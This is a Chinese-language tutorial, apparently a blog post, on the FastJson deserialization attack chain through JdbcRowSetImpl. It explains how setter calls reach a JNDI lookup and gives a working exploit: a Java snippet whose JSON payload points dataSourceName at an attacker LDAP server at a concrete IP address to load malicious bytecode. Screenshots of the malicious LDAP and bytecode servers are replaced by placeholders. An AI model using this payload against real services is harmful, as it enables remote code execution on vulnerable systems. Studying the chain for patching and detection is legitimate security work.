目录

简要原理分析

exp


前文:【Web】速谈FastJson反序列化中TemplatesImpl的利用

简要原理分析

前文的TemplatesImpl链存在严重限制,即JSON.parseObject()需要开启Feature.SupportNonPublicField

fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,其原理就是setter的自动调用

先来看JdbcRowSetImpl的setDataSourceName方法

public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

会进到super.setDataSourceName(),其实就是给dataSource赋值为我们传入的值,合情合理

public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

再来看JdbcRowSetImpl的setAutoCommit方法,注意到当conn为null时(初始就是null),就会调用connect方法

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

继续看connect方法,显然conn为空且我们有DataSourceName属性,进到else if的分支,调用(new InitialContext()).lookup(),经典何须多言,只要dataSourceName设为恶意远程RMI服务或LDAP服务打JNDI即可

 private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

 

exp

package com.FJ;

import com.alibaba.fastjson.JSON;

public class FJ {
    public static void main(String[] args) {
        String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://124.222.136.33:1337/#suibian\", \"autoCommit\":true}";
        Object object = JSON.parse(s);
    }
}

开一个恶意LDAP服务器

【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用-LMLPHP

找个端口放恶意字节码

 【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用-LMLPHP 

03-06 03:37